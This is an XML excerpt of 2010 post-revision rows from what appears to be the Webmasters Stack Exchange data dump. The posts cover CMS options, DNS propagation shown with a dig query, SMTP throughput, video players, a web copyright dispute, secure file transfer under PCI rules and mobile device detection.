  <row Id="3553" PostHistoryTypeId="5" PostId="1921" RevisionGUID="7c96d201-00e9-4382-aa44-16c5675bc9f2" CreationDate="2010-08-04T17:57:25.407" UserId="745" Comment="added 807 characters in body" Text="Here are a few different options of simpler CMS's, hosted and downloadable:&#xD;&#xA;&#xD;&#xA; - [PageLime][1] (Hosted, Commercial,&#xD;&#xA;   Free up to 3 sites)&#xD;&#xA; - [SnappySnippets][2] (Hosted, Commercial, Free for simpler sites)&#xD;&#xA; - [CushyCMS][3] (Hosted, Commercial, Free for unbranded sites)&#xD;&#xA; - [MarkupFactory][4] (Hosted, Commercial, 30-Day Free Trial)&#xD;&#xA; - [Nuggetz][5] (PHP, Flat File, BSD&#xD;&#xA;   License)&#xD;&#xA; - [Pulse][6] (PHP, Flat File)&#xD;&#xA; - [Phpns][7] (PHP, MySQL, GPL)&#xD;&#xA; - [OneFileCMS][8] (PHP, Flat File, CC&#xD;&#xA;   License)&#xD;&#xA; - [GetSimple][9] (PHP, XML Flat File&#xD;&#xA;   DB, GPL)&#xD;&#xA; - [Pixie][10] (PHP, MySQL, GPL)&#xD;&#xA;&#xD;&#xA;For a more comprehensive list of CMS options, check out [OpenSourceCMS][11]. You'll find all sorts of non-hosted options there, ranging from the simplest solutions to more complex, each with a demo so that you try it out before downloading. Note that I've not used any of these, so I can't make a recommendation of one over an other, but hopefully you'll find something useful.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pagelime.com/&#xD;&#xA;  [2]: http://www.snappysnippets.com/&#xD;&#xA;  [3]: http://www.cushycms.com/&#xD;&#xA;  [4]: http://www.markupfactory.com/&#xD;&#xA;  [5]: http://www.nuggetz.co.uk/&#xD;&#xA;  [6]: http://pulsecms.com/&#xD;&#xA;  [7]: http://phpns.alecwh.com/&#xD;&#xA;  [8]: http://onefilecms.com/&#xD;&#xA;  [9]: http://get-simple.info/&#xD;&#xA;  [10]: http://www.getpixie.co.uk/&#xD;&#xA;  [11]: http://php.opensourcecms.com/scripts/show.php?catid=1&amp;category=CMS%20/%20Portals" />
  <row Id="3554" PostHistoryTypeId="5" PostId="1920" RevisionGUID="2c9cc565-55cf-4cde-916a-9614107d315d" CreationDate="2010-08-04T17:57:32.553" UserId="55" Comment="added 844 characters in body; added 161 characters in body" Text="Typically no, most major registrars will implement NS updates very quickly (minutes, or just a few hours). What remains is the `TTL (time to live)` value set on records served by your existing name servers that resolve your domain to its IP.&#xD;&#xA;&#xD;&#xA;The typical cache period is 4 hours, however ISP's are free to ignore that, and continue to serve the old IP sometimes up to 72 hours (in most cases). Effectively, some of your users will not realize that you switched until their ISP clears their resolver cache for your domain. I've tried flooring the TTL value on all A records and CNAMES weeks before changing without any kind of positive effect worth reporting.&#xD;&#xA;&#xD;&#xA;When doing a switch, refrain from posting new content for at least 72 hours. Additionally, don't do a switch within 72 hours of posting new content, if at all avoidable.&#xD;&#xA;&#xD;&#xA;Then again, it really depends on where your users live. Most US ISP's refresh (at least) once every 48 hours. While traveling around Asia, I've seen that process take up to two weeks (but we have to consider horribly configured proxies here).&#xD;&#xA;&#xD;&#xA;Depending on your reach, soon after a change your new site and new content will be accessible to most, but some will get a 404. Some might not be able to resolve it at all, it all depends on who hits the ISP name servers (along with what ISP) and when.&#xD;&#xA;&#xD;&#xA;**Edit**&#xD;&#xA;&#xD;&#xA;Your domain currently points to:&#xD;&#xA;&#xD;&#xA;    Name Servers:&#xD;&#xA;       ns1.travisnorthcutt.com&#xD;&#xA;       ns2.travisnorthcutt.com&#xD;&#xA;&#xD;&#xA;And a dig from public name servers points to:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    tpost@tpost-desktop:~$ dig @4.2.2.3 travisnorthcutt.com A&#xD;&#xA;    &#xD;&#xA;    ; &lt;&lt;&gt;&gt; DiG 9.6.1-P2 &lt;&lt;&gt;&gt; @4.2.2.3 travisnorthcutt.com A&#xD;&#xA;    ; (1 server found)&#xD;&#xA;    ;; global options: +cmd&#xD;&#xA;    ;; Got answer:&#xD;&#xA;    ;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 37231&#xD;&#xA;    ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0&#xD;&#xA;    &#xD;&#xA;    ;; QUESTION SECTION:&#xD;&#xA;    ;travisnorthcutt.com.           IN      A&#xD;&#xA;    &#xD;&#xA;    ;; ANSWER SECTION:&#xD;&#xA;    travisnorthcutt.com.    14400   IN      A       174.122.19.154&#xD;&#xA;    &#xD;&#xA;    ;; Query time: 334 msec&#xD;&#xA;    ;; SERVER: 4.2.2.3#53(4.2.2.3)&#xD;&#xA;    ;; WHEN: Thu Aug  5 01:56:48 2010&#xD;&#xA;    ;; MSG SIZE  rcvd: 53&#xD;&#xA;&#xD;&#xA;Public NS's (maintained by Level3) are, in order:&#xD;&#xA;&#xD;&#xA;    4.2.2.1&#xD;&#xA;    4.2.2.2&#xD;&#xA;    4.2.2.3&#xD;&#xA;&#xD;&#xA;And they obey the TTL's you set, at least in my experience.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3555" PostHistoryTypeId="2" PostId="1922" RevisionGUID="50d367db-eb83-41cf-8dcb-2e1167595363" CreationDate="2010-08-04T18:02:55.430" UserId="1074" Text="My company's application has a bulk email system, all custom built, used by our clients to send emails based on opt-ins.  While doing performance monitoring during some particularly large email batch sends, we noticed that there appears to be an artificial barrier caused by our current sending mechanism (phpMailer)  For a brief time we re-routed our mail through a third-party SMTP service, but realized that they weren't sending any faster than we were.  Now  that the sending onus is back on us, we're thoroughly testing in anticipation of a number of upcoming big clients.&#xD;&#xA;&#xD;&#xA;Assuming we improve the send rate for our mailer protocol (we're considering changing altogether to SwiftMailer) I was contemplating whether or not our SMTP server might also eventually become a bottleneck.  What type of throughput are you able to achieve from your SMTP server?  What considerations on SMTP sending (such as authentication, packaging, etc) might I have to reconsider when doing performance tweaks? " />
  <row Id="3556" PostHistoryTypeId="1" PostId="1922" RevisionGUID="50d367db-eb83-41cf-8dcb-2e1167595363" CreationDate="2010-08-04T18:02:55.430" UserId="1074" Text="SMTP Email volume" />
  <row Id="3557" PostHistoryTypeId="3" PostId="1922" RevisionGUID="50d367db-eb83-41cf-8dcb-2e1167595363" CreationDate="2010-08-04T18:02:55.430" UserId="1074" Text="&lt;bulk-email&gt;&lt;mail&gt;" />
  <row Id="3558" PostHistoryTypeId="5" PostId="1920" RevisionGUID="56e45399-cf5a-4e78-a022-524c534ac259" CreationDate="2010-08-04T18:26:25.133" UserId="55" Comment="worth mentioning query times.; added 44 characters in body" Text="Typically no, most major registrars will implement NS updates very quickly (minutes, or just a few hours). What remains is the `TTL (time to live)` value set on records served by your existing name servers that resolve your domain to its IP.&#xD;&#xA;&#xD;&#xA;The typical cache period is 4 hours, however ISP's are free to ignore that, and continue to serve the old IP sometimes up to 72 hours (in most cases). Effectively, some of your users will not realize that you switched until their ISP clears their resolver cache for your domain. I've tried flooring the TTL value on all A records and CNAMES weeks before changing without any kind of positive effect worth reporting.&#xD;&#xA;&#xD;&#xA;When doing a switch, refrain from posting new content for at least 72 hours. Additionally, don't do a switch within 72 hours of posting new content, if at all avoidable.&#xD;&#xA;&#xD;&#xA;Then again, it really depends on where your users live. Most US ISP's refresh (at least) once every 48 hours. While traveling around Asia, I've seen that process take up to two weeks (but we have to consider horribly configured proxies here).&#xD;&#xA;&#xD;&#xA;Depending on your reach, soon after a change your new site and new content will be accessible to most, but some will get a 404. Some might not be able to resolve it at all, it all depends on who hits the ISP name servers (along with what ISP) and when.&#xD;&#xA;&#xD;&#xA;**Edit (and rather specific to just this question)**&#xD;&#xA;&#xD;&#xA;Your domain currently points to:&#xD;&#xA;&#xD;&#xA;    Name Servers:&#xD;&#xA;       ns1.travisnorthcutt.com&#xD;&#xA;       ns2.travisnorthcutt.com&#xD;&#xA;&#xD;&#xA;And a dig from public name servers points to:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    tpost@tpost-desktop:~$ dig @4.2.2.3 travisnorthcutt.com A&#xD;&#xA;    &#xD;&#xA;    ; &lt;&lt;&gt;&gt; DiG 9.6.1-P2 &lt;&lt;&gt;&gt; @4.2.2.3 travisnorthcutt.com A&#xD;&#xA;    ; (1 server found)&#xD;&#xA;    ;; global options: +cmd&#xD;&#xA;    ;; Got answer:&#xD;&#xA;    ;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 37231&#xD;&#xA;    ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0&#xD;&#xA;    &#xD;&#xA;    ;; QUESTION SECTION:&#xD;&#xA;    ;travisnorthcutt.com.           IN      A&#xD;&#xA;    &#xD;&#xA;    ;; ANSWER SECTION:&#xD;&#xA;    travisnorthcutt.com.    14400   IN      A       174.122.19.154&#xD;&#xA;    &#xD;&#xA;    ;; Query time: 334 msec&#xD;&#xA;    ;; SERVER: 4.2.2.3#53(4.2.2.3)&#xD;&#xA;    ;; WHEN: Thu Aug  5 01:56:48 2010&#xD;&#xA;    ;; MSG SIZE  rcvd: 53&#xD;&#xA;&#xD;&#xA;Public NS's (maintained by Level3) are, in order:&#xD;&#xA;&#xD;&#xA;    4.2.2.1&#xD;&#xA;    4.2.2.2&#xD;&#xA;    4.2.2.3&#xD;&#xA;&#xD;&#xA;And they obey the TTL's you set, at least in my experience. Please disregard the query times, I'm digging from across the globe while using TCP over carrier pigeon.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3559" PostHistoryTypeId="2" PostId="1923" RevisionGUID="c670927b-2294-4b73-8dfe-f1f6087c1ef8" CreationDate="2010-08-04T19:11:03.160" UserId="223" Text="There actually are many things that you can do in Flash or Silverlight that are not possible in HTML5 (DRM/Content Protection, VBR-streaming, Embedding, fullscreen, COM access). This blog post from Google offers great insights to why even though there is a lot of potential for HTML5 to enhance the web, [browser plugins are far from dead][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://apiblog.youtube.com/2010/06/flash-and-html5-tag.html" />
  <row Id="3560" PostHistoryTypeId="16" PostId="1923" RevisionGUID="c670927b-2294-4b73-8dfe-f1f6087c1ef8" CreationDate="2010-08-04T19:11:03.160" UserId="-1" />
  <row Id="3561" PostHistoryTypeId="2" PostId="1924" RevisionGUID="24653e24-5c93-4342-bee7-6befad61713b" CreationDate="2010-08-04T19:31:19.657" UserId="236" Text="I'd like to add videos for a webpage, but I don't want to use Youtube or any other site to host them, i'd like to host them on my own server. what are some good tools availible for video players on a site?" />
  <row Id="3562" PostHistoryTypeId="1" PostId="1924" RevisionGUID="24653e24-5c93-4342-bee7-6befad61713b" CreationDate="2010-08-04T19:31:19.657" UserId="236" Text="Video Player for hosted videos" />
  <row Id="3563" PostHistoryTypeId="3" PostId="1924" RevisionGUID="24653e24-5c93-4342-bee7-6befad61713b" CreationDate="2010-08-04T19:31:19.657" UserId="236" Text="&lt;video&gt;" />
  <row Id="3564" PostHistoryTypeId="2" PostId="1925" RevisionGUID="46902cf5-1dfb-4e41-994b-0fecca9468f8" CreationDate="2010-08-04T19:39:26.393" UserId="108" Text="If you are not using your site for commercial purposes I think your best best is JW PLayer from Longtail, http://www.longtailvideo.com/players/jw-flv-player/. It is free for non-commercial purposes and easy to add and integrate with you website.&#xD;&#xA;&#xD;&#xA;If you decide to use it on a commercial site it is still pretty in-expensive, costing less than $100 for the most simple plan.&#xD;&#xA;&#xD;&#xA;They offer a number players to play most if not all major video types.  I used it on the last website I wrote and it was extremely easy to setup." />
  <row Id="3565" PostHistoryTypeId="2" PostId="1926" RevisionGUID="bda41c98-335e-4463-a183-fc1dec0c6d36" CreationDate="2010-08-04T19:41:28.013" UserId="745" Text="A mix of open source/commercial and Flash/HTML5 options for hosting your own videos:&#xD;&#xA;&#xD;&#xA; - [Flowplayer][1]&#xD;&#xA; - [OS FLV][2]&#xD;&#xA; - [FLV Player][3]&#xD;&#xA; - [f4Player][4]&#xD;&#xA; - [JW Player][5]&#xD;&#xA; - [Video JS][6] (HTML5)&#xD;&#xA; - [Sublime Video Player][7] (HTML5)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://flowplayer.org/&#xD;&#xA;  [2]: http://www.osflv.com/&#xD;&#xA;  [3]: http://flv-player.net/&#xD;&#xA;  [4]: http://f4player.org/&#xD;&#xA;  [5]: http://www.longtailvideo.com/players/jw-flv-player/&#xD;&#xA;  [6]: http://videojs.com/&#xD;&#xA;  [7]: http://jilion.com/sublime/video" />
  <row Id="3566" PostHistoryTypeId="2" PostId="1927" RevisionGUID="70e105f7-5968-4d03-84e7-8eaa03e28372" CreationDate="2010-08-04T19:51:42.017" UserId="1157" Text="&quot;[htaccess Cheatsheet][1]&quot;, which links to &quot;[The Ultimate Htaccess][2]&quot;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://groups.google.com/group/apachehtaccess/web/htaccess-cheatsheet?pli=1&#xD;&#xA;  [2]: http://www.askapache.com/htaccess/htaccess.html" />
  <row Id="3567" PostHistoryTypeId="16" PostId="1927" RevisionGUID="70e105f7-5968-4d03-84e7-8eaa03e28372" CreationDate="2010-08-04T19:51:42.017" UserId="-1" />
  <row Id="3568" PostHistoryTypeId="2" PostId="1928" RevisionGUID="b49cade8-5a57-428a-b4a5-41442f9c2ca1" CreationDate="2010-08-04T19:54:32.387" UserId="1111" Text="I would suggest video4all[1]. If HTML5 is supported it uses the HTML5 tags, if not it falls back to Flowplayer[2]. So you have really man features you can use. On one side the HTML5 tags with all the settings and on the other side you have all the flowplayer features, likes Auto-Thumbnailing, etc.&#xD;&#xA;&#xD;&#xA;[1] http://code.google.com/p/video4all/&#xD;&#xA;[2] http://flowplayer.org/" />
  <row Id="3569" PostHistoryTypeId="2" PostId="1929" RevisionGUID="e72d7859-ed55-4b6c-9673-f0041d2763da" CreationDate="2010-08-04T20:09:41.360" UserId="1074" Text="I've been through this before working on behalf of a client who was unhappy with a previous web firm who was witholding access.  In hostile situations like that...and even non-hostile...a call to the registrar usually can clean things up pretty quickly.  In our case, they asked for proof that our client was who they said they were via faxes of some documents, followed by a statement from us stating the situation, and we were also asked to pass on the last known contact info for the person sitting on the info.  After a few days, the registrar called and cleared everything up.  Hopefully, you're not in this situation...but know if you are that patience and persistence will resolve the matter." />
  <row Id="3574" PostHistoryTypeId="2" PostId="1931" RevisionGUID="bb5be112-e79b-476d-89a5-8c98f66842e3" CreationDate="2010-08-04T22:05:56.453" UserId="210" Text="Along with [Nat Ryall's answer][1], here is an article on the different stats from the world: http://www.webdesignerdepot.com/2010/08/will-the-real-browser-stats-please-stand-up/&#xD;&#xA;&#xD;&#xA;Both Nat and this article are correct: it depends on who you are targeting.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/134/should-i-bother-supporting-ie6/138#138" />
  <row Id="3575" PostHistoryTypeId="2" PostId="1932" RevisionGUID="20fa4b38-24d5-49bb-8335-a8975d7378c9" CreationDate="2010-08-04T23:23:23.037" UserId="26" Text="Let's say a prior web developer placed a copyright notice on a website in the web developer's and not the client's name. The prior web developer has been hostile and actually took the site down for some months last year. Site gets put back up just prior to a court date where client and prior web developer are in dispute because of tenant/landlord relationship.&#xD;&#xA;&#xD;&#xA;Site now placed on new host and DNS and email are now completely out of prior web developer's control. New web developer cleans up the messy Dreamweaver-and-no-alt-attributes and lots of needless iframes code. New web developer adds a bit of CSS, unifies JavaScript. Site basically still appears largely as it did, but now with copyright now (c)2010 The Client, removed `&lt;u&gt;` tags, improved readability, SEO, accessibility, update-abilty.&#xD;&#xA;&#xD;&#xA;There was (surprise!) no contract between prior web developer and client, just word of mouth. And until prior web developer was a bozo, was perfectly reasonable entity. Though apparently prior web developer refused to do any updates for several years.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Practically though, the design is unremarkable, a header, nav, and middle scrolling content window with images, and an empty footer.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;***So***, now, the question **(at last!)**: Does that copyright that the prior web developer put on the site mean anything legally? Assume it's archived in The Wayback Machine so anyone could see it if they look. Are there any other pitfalls in this situation the web developer should worry about? Any pitfalls for the client (beyond the standing bad blood)? Is it all such a mess already the practical step of moving and slightly-improving the site make the prior copyright a moot point?&#xD;&#xA;" />
  <row Id="3576" PostHistoryTypeId="1" PostId="1932" RevisionGUID="20fa4b38-24d5-49bb-8335-a8975d7378c9" CreationDate="2010-08-04T23:23:23.037" UserId="26" Text="Legal standing for a copyright notice placed by prior web developer? (long backstory)" />
  <row Id="3577" PostHistoryTypeId="3" PostId="1932" RevisionGUID="20fa4b38-24d5-49bb-8335-a8975d7378c9" CreationDate="2010-08-04T23:23:23.037" UserId="26" Text="&lt;legal&gt;&lt;copyright&gt;" />
  <row Id="3578" PostHistoryTypeId="2" PostId="1933" RevisionGUID="2152f4b1-d8c8-4d8c-86d9-e03757dea852" CreationDate="2010-08-04T23:32:12.460" UserId="110" Text="The author of the site was &quot;for hire&quot; and therefore is not considered the owner of the copyright, the person who paid for it is.&#xD;&#xA;&#xD;&#xA;[http://www.copyright.gov/circs/circ1.pdf][1]&#xD;&#xA;&#xD;&#xA;Look at Page 2.  Pretty sure this website is an audiovisual work, and the copyright belongs to the person who paid for it.  Hence, (c) 2010 The Client is the only accurate copyright assumption, and for hire author was never the holder by default.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.copyright.gov/circs/circ1.pdf" />
  <row Id="3579" PostHistoryTypeId="2" PostId="1934" RevisionGUID="c7c62420-0a82-4197-bc8f-9aeb459bcc2c" CreationDate="2010-08-04T23:59:44.023" UserId="745" Text="As always, your best and most definitive course of action is to seek actual legal counsel with experience in copyright law. I'm not a lawyer and, as such, the following should be viewed only as my opinion and not legal advice. &#xD;&#xA;&#xD;&#xA;The key phrase in the PDF that MrChrister linked to is:&#xD;&#xA;&#xD;&#xA;&gt; if the parties expressly agree in a&#xD;&#xA;&gt; written instrument signed by them that&#xD;&#xA;&gt; the work shall be considered a work&#xD;&#xA;&gt; made for hire.&#xD;&#xA;&#xD;&#xA;My understanding is that unless there is clear verbiage in writing regarding a work for hire and the ownership of the work, anything created is automatically considered the intellectual property of the *creator* of the work, **not** the *commissioner* of the work. The process is automatic and the act of creation itself is sufficient to ensure intellectual property rights, meaning that applying the actual &amp;copy; symbol is largely redundant and serves more as a deterrent rather than a legally-binding action.&#xD;&#xA;&#xD;&#xA;For this particular case, if there is concern, again, my advice would be to contact a lawyer to clear up any lingering issues or doubts. If the situation is bad enough and has not actually been handled through court, the first developer could come back at a later date. (While I seriously doubt the veracity of his case, the person currently claiming to own 80% of Facebook would be a good example of this). I'd suggest legally checking into it now, even if it's more of a hassle and more expensive. The peace of mind may be worth it.&#xD;&#xA;&#xD;&#xA;As an aside, it's situations like this that make it necessary to always have a written contract. Good contracts should clearly define ownership, responsibility, tasks to be performed, and should provide clear steps of action to be taken if one or both parties do not fulfill their obligations. If you're working without a contract, you're working without a net. It might not be today, but one day you'll fall.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3580" PostHistoryTypeId="5" PostId="1934" RevisionGUID="f4ee7d3d-e560-4cf0-86b3-b8d48166e1fe" CreationDate="2010-08-05T00:05:42.047" UserId="745" Comment="added 38 characters in body" Text="As always, your best and most definitive course of action is to seek actual legal counsel with experience in copyright law. I'm not a lawyer and, as such, the following should be viewed only as my opinion and not legal advice. &#xD;&#xA;&#xD;&#xA;The key phrase in the PDF that MrChrister linked to is:&#xD;&#xA;&#xD;&#xA;&gt; if the parties expressly agree in a&#xD;&#xA;&gt; written instrument signed by them that&#xD;&#xA;&gt; the work shall be considered a work&#xD;&#xA;&gt; made for hire.&#xD;&#xA;&#xD;&#xA;My understanding is that unless there is clear verbiage in writing regarding a work for hire and the ownership of the work, anything created is automatically considered the intellectual property of the *creator* of the work, **not** the *commissioner* of the work. The process is automatic and the act of creation itself is sufficient to ensure intellectual property rights, meaning that applying the actual &amp;copy; symbol is largely redundant and serves more as a deterrent rather than a legally-binding action.&#xD;&#xA;&#xD;&#xA;For this particular case, if there is concern and there was **no written contract**, again, my advice would be to contact a lawyer to clear up any lingering issues or doubts. If the situation is bad enough and has not actually been handled through court, the first developer could come back at a later date. (While I seriously doubt the veracity of his case, the person currently claiming to own 80% of Facebook would be a good example of this). I'd suggest legally checking into it now, even if it's more of a hassle and more expensive. The peace of mind may be worth it.&#xD;&#xA;&#xD;&#xA;As an aside, it's situations like this that make it necessary to always have a written contract. Good contracts should clearly define ownership, responsibility, tasks to be performed, and should provide clear steps of action to be taken if one or both parties do not fulfill their obligations. If you're working without a contract, you're working without a net. It might not be today, but one day you'll fall.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3581" PostHistoryTypeId="2" PostId="1935" RevisionGUID="030c89e2-98a2-49db-8f61-d7c27b8bf31c" CreationDate="2010-08-05T00:40:34.430" UserId="215" Text="Here is [my favourite one][1]. Make sure you read part two (mod_rewrite) as well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://corz.org/serv/tricks/htaccess.php" />
  <row Id="3582" PostHistoryTypeId="16" PostId="1935" RevisionGUID="030c89e2-98a2-49db-8f61-d7c27b8bf31c" CreationDate="2010-08-05T00:40:34.430" UserId="-1" />
  <row Id="3583" PostHistoryTypeId="2" PostId="1936" RevisionGUID="e14f488d-cc1f-4243-8de9-d9e51388a6d8" CreationDate="2010-08-05T03:23:20.803" UserId="26" Text="As a practical matter, I like using [What's My DNS][1], an online tool that samples a number of  DNS servers across the planet which will give some idea who's got what, where. It's a great way to get a kind of an answer to the question &quot;has my DNS propagated?&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.whatsmydns.net/" />
  <row Id="3584" PostHistoryTypeId="2" PostId="1937" RevisionGUID="d9eea4b0-ef6d-4910-bc89-bb6601c646c0" CreationDate="2010-08-05T05:17:51.960" UserId="480" Text="As long as you're using a non-blocking SMTP server (in case it hits a bad DNS/SMTP server) then it is a matter of how many different domains are the emails destined for and what is the bandwidth (roughly speaking because the exceptions to the rule appear at the extremes). I would suspect the latter (bandwidth) due to you seeing similar results with an external server." />
  <row Id="3585" PostHistoryTypeId="5" PostId="1937" RevisionGUID="2dbac9b2-368f-4c9d-ba18-cbd7ac2f4150" CreationDate="2010-08-05T05:24:45.973" UserId="480" Comment="added 494 characters in body" Text="As long as you're using a non-blocking SMTP server (in case it hits a bad DNS/SMTP server) then it is a matter of how many different domains are the emails destined for and what is the bandwidth (roughly speaking because the exceptions to the rule appear at the extremes). I would suspect the latter (bandwidth) due to you seeing similar results with an external server.&#xD;&#xA;&#xD;&#xA;Any packaging/encryption on modern hardware takes a fraction of the time needed to send an email to a slow server. If you host your own DNS servers then make sure these return fast results as the receiving SMTP server will probably want to double check your records (slowing things down further). Having two mail servers (with enough bandwidth) is normally way faster (due to the blocking on a slow receiving server) than spending the same amount of money on a better spec'ed single server." />
  <row Id="3586" PostHistoryTypeId="2" PostId="1938" RevisionGUID="e89b7ffc-19e1-4114-8671-5a7a58bca8c9" CreationDate="2010-08-05T08:34:43.450" UserId="389" Text="Our company is undergoing procedures to ensure we are PCI compliant.&#xD;&#xA;&#xD;&#xA;My site host tells me that they have disabled passive ports in order to pass the PCI scans. This has the effect of disabling uploads over ftp. Obviously I still need to be able to upload changes to the site. &#xD;&#xA;&#xD;&#xA;The site is on a windows server. So currently I can move the files over Remote Desktop Connection, but this is somewhat inconvenient and platform dependant. Are there any other ways I can upload the site and remain PCI compliant? Do the passive ports really need to be closed to pass the scans?" />
  <row Id="3587" PostHistoryTypeId="1" PostId="1938" RevisionGUID="e89b7ffc-19e1-4114-8671-5a7a58bca8c9" CreationDate="2010-08-05T08:34:43.450" UserId="389" Text="If I must turn off passive ports to be PCI compliant, how do I upload my website?" />
  <row Id="3588" PostHistoryTypeId="3" PostId="1938" RevisionGUID="e89b7ffc-19e1-4114-8671-5a7a58bca8c9" CreationDate="2010-08-05T08:34:43.450" UserId="389" Text="&lt;ftp&gt;&lt;pci-compliance&gt;" />
  <row Id="3589" PostHistoryTypeId="5" PostId="1847" RevisionGUID="c8abafc6-ca25-4152-8d36-a016b8cb5fc2" CreationDate="2010-08-05T08:57:29.333" UserId="1036" Comment="added 132 characters in body" Text="I have an XML file on my server. In the same directory I have a PHP file which modifies the content of the XML and saves it. In this, the save part doesn't work. In my knowledge the code is alright and the problem is with the file access persmissions. &#xD;&#xA;&#xD;&#xA;More details available here: http://stackoverflow.com/questions/3351652/how-to-save-an-xml-file-on-the-web-server-using-php&#xD;&#xA;( There is nothing wrong with the code. I provided it to give more insights. The problem seems to be with the access permissions )&#xD;&#xA;&#xD;&#xA;The permissions of the XML file is: rw-r--r-- (644)&#xD;&#xA;&#xD;&#xA;My question is, am I doing it right? How do I modify a file in the same directory?" />
  <row Id="3590" PostHistoryTypeId="2" PostId="1939" RevisionGUID="30e18198-2640-49dc-8607-f9acc72b7bed" CreationDate="2010-08-05T09:00:12.243" UserId="1204" Text="SCP/SFTP, provided by most SSH implementations is what I use for just about all simple remote file transfer. This is available in any Linux/BSD setup either by default or very easy to setup/install and there are several options for Windows including [cygwin][1] which includes a port of the same OpenSSH clients and servers used by most Linux setups.&#xD;&#xA;&#xD;&#xA;Another option is to setup a VPN, using something like OpenVPN, that you connect to the server, you can then FTP over that without making the FTP service available to the outside world (or use any other file transfer option such as using Windows shares directly).&#xD;&#xA;&#xD;&#xA;FTP can work without passive mode in many cases, but I would recommend moving away from FTP anyway for various reasons:&#xD;&#xA;&#xD;&#xA;* security: everything is sent plain (i.e. unencrypted)&#xD;&#xA;* security: this includes your login authentication credentials&#xD;&#xA;* efficiency: SCP/SFTP usually works out quicker (esp. over a high latency link) as it all happens over one connection not requiring a new data link per object like FTP&#xD;&#xA;* efficiency: SSH (and so SCP/SFTP) support compression as do most VPN solutions which could make a difference depending on what you are transferring&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cygwin.com/" />
  <row Id="3591" PostHistoryTypeId="2" PostId="1940" RevisionGUID="74616a81-7503-4a53-be42-795ed1147264" CreationDate="2010-08-05T09:00:29.577" UserId="745" Text="Other options are [SSH][1] and [SFTP][2]. Most FTP clients should also allow you the option of using SSH/SFTP instead.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Secure_Shell&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/SSH_file_transfer_protocol" />
  <row Id="3592" PostHistoryTypeId="5" PostId="1939" RevisionGUID="34f15dc0-9bb6-4f6b-92b9-56460a6101e4" CreationDate="2010-08-05T09:10:57.887" UserId="1204" Comment="added 461 characters in body; added 247 characters in body; added 28 characters in body" Text="SCP/SFTP, provided by most SSH implementations is what I use for just about all simple remote file transfer. This is available in any Linux/BSD setup either by default or very easy to setup/install and there are several options for Windows including [cygwin][1] which includes a port of the same OpenSSH clients and servers used by most Linux setups.&#xD;&#xA;&#xD;&#xA;Another option is to setup a VPN, using something like OpenVPN, that you connect to the server, you can then FTP over that without making the FTP service available to the outside world (or use any other file transfer option such as using Windows shares directly).&#xD;&#xA;&#xD;&#xA;FTP can work without its passive mode in many cases, but I would recommend moving away from FTP anyway for various reasons:&#xD;&#xA;&#xD;&#xA;* security: everything is sent plain (i.e. unencrypted) with FTP&#xD;&#xA;* security: this includes your login authentication credentials&#xD;&#xA;* efficiency: SCP/SFTP usually works out quicker (esp. over a high latency link) as it all happens over one connection not requiring a new data link per object like FTP&#xD;&#xA;* efficiency: SSH (and so SCP/SFTP) support compression as do most VPN solutions which could make a difference depending on what you are transferring&#xD;&#xA;* firewall/routing issues: the FTP protocol's use of separate data connections per transferred object can be a source of failure depending on firewall setups at either end - SCP, SFTP and anything-over-ssh (like rsync) use a single bi-directional connection for everything.&#xD;&#xA;&#xD;&#xA;Another good option for efficiently updating remote content from a local reference is rsync over ssh which does a very good job of just sending the minimum needed to update the remote end - I use this for maintaining off-site backup copies and such.&#xD;&#xA;&#xD;&#xA;Note: Don't confuse SFTP with FTPS. SFTP is &quot;SSH file transfer protocol&quot; and FTPS is &quot;FTP over SSL&quot; which solves the encryption related security issues but not the other disadvantages of FTP.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cygwin.com/" />
  <row Id="3593" PostHistoryTypeId="2" PostId="1941" RevisionGUID="5e5ca04d-1e25-4e29-aef5-293c5fff0ebb" CreationDate="2010-08-05T09:39:18.683" UserId="1217" Text="What do you use to detect visitor's mobile phone, down to the model if possible?&#xD;&#xA;&#xD;&#xA;Currently we maintain our own database but it's really getting behind due to lack of manpower to maintain it, so we decided to give 3rd party solution a try.&#xD;&#xA;&#xD;&#xA;These are my candidates but I don't have time to really try them all:&#xD;&#xA;&#xD;&#xA;* [DeviceAtlas](http://deviceatlas.com/user/10915) - 1 year personal evaluation, but basic license is affordable. Their database look solid with daily update and user-contributed tests / updates. I am favoring this one at the moment.&#xD;&#xA;&#xD;&#xA;* [DetectRight](http://www.detectright.com/page/index) - I was recommended this by a colleague but really can't find much from their site. 20k devices -- really?&#xD;&#xA;&#xD;&#xA;* [WURFL](http://wurfl.sourceforge.net/) - Open source, database collaboratively derived from [UAProf](http://en.wikipedia.org/wiki/UAProf). So basically if you're going with UAProf solution, you're better off with WURFL.&#xD;&#xA;&#xD;&#xA;* [DetectMoBileBrowsers](http://detectmobilebrowsers.mobi/) - This looks like the simplest of all. Too bad it's language dependent (PHP).&#xD;&#xA;&#xD;&#xA;Please share your experience or suggestions!" />
